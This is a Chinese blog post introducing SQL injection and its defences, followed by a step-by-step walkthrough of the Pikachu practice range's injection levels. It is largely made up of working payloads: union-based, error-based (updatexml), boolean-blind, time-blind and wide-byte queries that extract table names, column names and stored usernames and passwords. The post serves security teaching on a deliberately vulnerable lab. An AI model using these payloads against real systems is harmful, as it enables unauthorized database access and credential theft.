暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

SQL注入介绍及pikachu-sql通关(详解)

爱喝酒烫头的曹操 2022-09-14
7042

一、SQL注入介绍:
1.形成的原因:
在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。从而导致数据库安全性受到威胁。
2.防止方法:

2.1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.2.使用参数化(Parameterized Query 或 Parameterized Statement);
2.3.目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
3.常见数据库端口:
oracle:1521
sql server:1433
mysql:3306postgre sql:5432

4.注入方式:联合注入、报错注入、布尔盲注、时间盲注等;

二、Pikachu sql靶场通关:
1.数字型注入:
查询时对其进行抓包,发现带入数据库服务器内部的参数为id
判断其是否为注入点:
在id参数处输入:
    1 and 1=1 回显正常
    1 and 1=2 报错
    则判断参数id为注入点

    判断字段数
    使用order by判断其可回显的字段:
      id=1 order by 3
      发现在3时返回包会报错,所以字段数为2

      判断数据库信息:
      使用联合注入获取数据库信息:
        id=-1 union select database(),version()
        id=-1 union select database(),user()
        可获得当前数据库的数据库名、版本、以及当前用户等信息:

        爆破表名
        对pikchu数据库中的表名使用联合注入进行爆破:
          id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'
          爆列名:
          对pikchu数据库中users表中的列名进行爆破:
            id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema="pikachu" and table_name='users'

            爆数据:
            对pikachu数据库中users表的username、password列进行爆破:
              id=-1 union select 1,group_concat(username,':',password) from pikachu.users
              数字型注入完成。

              2.字符型注入:

              与数字型注入不同的是,字符型注入所使用的sql语句往往形如:
              select name from users where name='abc' and passwd='123'
              在我们判断一个位置是否为字符型注入时,需要使用特殊符号对输入的数据构造闭合,如sql语句为:select name from users where name=''时在name处输入:1'同时使用-- 、--+、#等注释标记进行注释;则传入数据库的sql语句则变成了如下:select name from users where name='1' --+' and passwd='123',即与name参数的前一个等号构造闭合,对我们输入的数据后的数据进行注释,这样sql语句就不会因为语法而进行报错了

              判断闭合:
              输入1' 报错
              输入1' and 1=1# 正常显示
              判断为字符型注入,闭合符号为单引号。

              判断字段数
                id=1' order by 3 #
                判断字段数为3

                判断数据库信息:
                  id=1' union select database(),version()#
                  id=1' union select database(),user()#

                  爆表名:
                    id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#

                    爆列名:
                      id=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'#
                      爆数据:
                        id=1' union select 1,group_concat(username,':',password) from pikachu.users#

                        字符型注入完成。

                        3.搜索型注入
                        与一般的字符型注入和数字型注入不同的是,搜索型注入的sql语句往往形如:select xxx from xxx where xxx like '%abcd%'
                        本质上和字符型注入的方式基本一样但闭合的特殊符号换成了%

                        判断闭合:
                          name=1 正常
                          name=1% 正常
                          name=1%' 报错
                          name=1%' --+ 正常

                          判断其为搜索型注入,闭合符号为%'

                          判断数据库信息:

                          爆表名:
                            1%' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'#

                            爆列名:
                              1%' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'#
                                爆数据:
                                1%' union select 1,group_concat(id,':',username,':',password),3 from pikachu.users#
                                搜索型注入完成。

                                4.xx型注入
                                提示说无论如何只要能够构造闭合即可,第一个想到常见的闭合符号除了引号就是括号了。

                                使用圆括号尝试构造闭合:
                                  name=1 正常
                                  name=1' 报错
                                  name=1') 报错
                                  name=1') --+ 正常
                                  判断其为字符型注入,闭合符号为')

                                  判断字段数:
                                    1')order by 3 -- 
                                    字段数为2

                                    接下来库名爆破、表名爆破、列名爆破和数据爆破均和字符型注入形式相同,这里不再重复写出。

                                    5.insert/update注入
                                    这个注入其实就是报错注入,其原理是利用数据库机制,通过制造能够触发错误的条件,错误信息中可以出现我们想要的信息结果。
                                    报错注入主要通过updatexml()和extractvalue()两个函数对xpath文本进行报错注入,显示报错信息。

                                    返回题目中,首先提示让我们先注册一个账号
                                    将必填项填写后提交时进行抓包:

                                    得到一串参数,我们从username先开始尝试。

                                    爆数据库名:
                                      username=111' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '
                                      这里在第二个and后使用单引号的目的是:111后的引号闭合sql语句数据前面的引号;and后的引号闭合sql语句数据最后的引号,即where username='
                                        username=111' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '&password=222&sex=&phonenum=&email=&add=&submit=submit'
                                        若想对数据库版本或当前用户等信息进行查询,则替换database()即可

                                        爆表名:
                                          username=111' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) and '
                                          虽然表名成功被我们爆出来了,但是并不完整,有部分报名因为显示长度限制无法显示出来,我们可以使用substr( )函数进行每32位的显示,如:
                                            username=111' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1) and '
                                            即对报错回显的数据从第32位开始显示31位长度:

                                            这样所有的数据就都可以显示完毕了。

                                            爆字段名:
                                              username=111' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),1,31),0x7e),1) and '

                                              爆数据:
                                                username=111'and updatexml(1,concat(0x7e,substr((select group_concat(id,':',username,':',password) from pikachu.users),1,31),0x7e),1) and '

                                                当爆破完整的数据时,修改substr中第二个参数即可控制从何处进行显示,最后获得完整的数据。

                                                6.delete注入
                                                提示说明在删除数据时是需要我们关注的地方,那么首先我们需要先进行留言

                                                留言完毕后在点击删除时进行抓包
                                                发现一个名字为id的参数,对其进行报错注入查看数据库名:
                                                  id=67+and+updatexml(1,concat(0x7e,(select+database()),0x7e),1)
                                                  这里为了使编译通过将空格改为了+

                                                  发现可以查询到数据库名,接下来的注入步骤和上节报错注入流程相同,这里不做过多介绍。

                                                  7.http头部注入
                                                  该注入是对http包中的user-agent、x-forwarded-for或referer进行注入,当上述信息可被带入数据库进行处理时,可对其进行sql注入。

                                                  pikachu题目:我们使用admin/123456进行登录时并抓包:
                                                  捕获抓到的第二个名为sqli_header.php的包,发现其中有user-agent和referer,我们对ua代理尝试进行注入,方法使用报错注入。

                                                  查询数据库名:
                                                    ' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
                                                    发现通过报错注入,数据库名被回显,说明ua代理是一个注入点。
                                                    后续注入的基本流程和方法如上述报错注入基本相同,这里不进行过多讲解。

                                                    8.布尔盲注
                                                    布尔盲注往往是在不支持union查询或者回显页面不显示具体信息,只返回正常与不正常两种页面形式时进行的注入方法,通过使用and、or连接判断长度和ASCII码值的方式对数据库的信息进行判断。

                                                    pikachu第8题:
                                                      name=1 正常回显
                                                      name=1' 不报错,但提示用户名不存在
                                                      name=1'# 正常回显
                                                      判断该注入为布尔盲注,且闭合为单引号。

                                                      判断数据库长度:
                                                        1' and length(database())>1#
                                                        即当数据库名长度是否大于1,若大于1则为真,回显正常。

                                                        不断提升数据库长度,当在n时回显username不存在时,则数据库名的长度为n-1,即题目中:1' and length(database())=7# 为真。
                                                        得出数据库长度为7。

                                                        判断数据库第一位:

                                                          1' and (select substr(database(),1,1))='p'#

                                                          即当前数据库的第一位的字符为p,若等于p则为真,回显正常。
                                                          发现回显正常,说明第一位字符为p
                                                          接着使用burpsuite和一个26位字母组成的字典对该数据库名进行爆破
                                                          对其中的substr的第二个参数和引号中的字符进行标记,对其进行爆破得出:
                                                          爆破出的数据库名为pikachu。

                                                          爆表长(以第一个表为例)
                                                            1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8#
                                                            说明第一个表长为8。

                                                            爆表名(以第一个表为例)
                                                              1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104#
                                                              说明第一个表的第一位字符的ascii值为104,即字母h。
                                                              通过改变limit的第一个参数(控制选择第几个表)和substr函数的第二个参数(控制选择某表中的第几位)来灵活调整查询不同表的表名。

                                                              爆列数(第一个表为例)
                                                                1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name="users")=4#
                                                                说明第一个表中的列数为4。

                                                                爆列长(第一个表的第一个列为例)
                                                                  1' and length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1))=2#
                                                                  说明第一列的列名长度为2。

                                                                  爆列名(第一个表的第一个列的第一个数据为例)
                                                                    1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1),1,1))=105#
                                                                    说明第一个列的第一位符号的ascii码值为105,即i。
                                                                    通过改变limit的第一个参数(控制选择第几个列)和substr函数的第二个参数(控制选择某列中的第几位)来灵活控制查询不同列的列名。

                                                                    爆数据长度(以第一个列的第一个数据为例)
                                                                      1' and length((select id from users limit 0,1))=1#
                                                                      users表中的id列的第一个数据长度为1。

                                                                      爆数据值(以第一列的第一个数据为例)
                                                                        1' and ascii(substr((select id from users limit 0,1),1,1))=49#
                                                                        得出第一个数据的第一位为的ascii值为49,即数字字符1。
                                                                        通过改变limit的第一个参数(控制选择第几个数据)和substr函数的第二个参数(控制选择某数据中的第几位)来灵活控制查询不同数据的具体数据值。
                                                                        9.时间盲注
                                                                        时间盲注是基于sleep函数对数据包返回时间进行判断的盲注方法,主要是在布尔盲注的基础上使用逻辑语句嵌套了一个sleep函数进行判断,通过页面的延迟进行判断是否为我们需要的值,因为注入时无论输入什么回显的结果都是不会变化。

                                                                        pikachu题:
                                                                        判断数据库名长度:
                                                                          1' and if(length(database())=7,sleep(5),1)#


                                                                          判断数据库名(以第1位为例):
                                                                            1' and if((select substr(database(),1,1))='p',sleep(5),1)#


                                                                            判断数据库内表的个数:
                                                                              1' and if((select count(table_name) from information_schema.tables where table_schema=database())=5,sleep(3),1)#
                                                                              判断表长(以第一个表为例):
                                                                                1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8,sleep(5),1)#
                                                                                判断表名(以第一个表为例):
                                                                                  1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104,sleep(5),1)#

                                                                                  其他的注入步骤和布尔盲注基本相同,将布尔盲注sql的查询放置在if语句的第一个参数位置即可,通过观察其延迟情况来判断是否获得了正确的数据。

                                                                                  10.宽字节注入
                                                                                  宽字节(一个字符为两个字节的大小)注入的主要原因是编码格式的不同导致的,由于程序设计人员为了防止sql注入,会在所有引号前加入 进行转义,但数据库的宽字节编码会将两个相连的字符合并形成一个汉字,这样可使引号依然可以正确带入数据库中进行sql注入。

                                                                                  pikachu题目:
                                                                                  对其进行抓包,当输入为:
                                                                                    name=1%df' or 1=1#
                                                                                    时有回显,说明为宽字节注入
                                                                                    使用union联合注入进行查询
                                                                                    获取数据库信息:
                                                                                      1%df' union select version(),database()#

                                                                                      爆表名:
                                                                                        1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

                                                                                        爆列名:
                                                                                          1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
                                                                                          结果报错了,这是因为查询语句内部也有引号的存在导致的,可以用十六进制编码进行绕过,编码后的语句为
                                                                                            1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273#


                                                                                            爆数据:
                                                                                              1%df' union select 1,group_concat(id) from pikachu.users#
                                                                                              1%df' union select 1,group_concat(password) from pikachu.users#
                                                                                              1%df' union select 1,group_concat(username) from pikachu.users#

                                                                                              宽字节注入完成。

                                                                                              关于sql注入介绍及pikachu-sql注入讲解就到这里,感谢大家的耐心阅读。
                                                                                              文章转载自爱喝酒烫头的曹操,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                                                                                              评论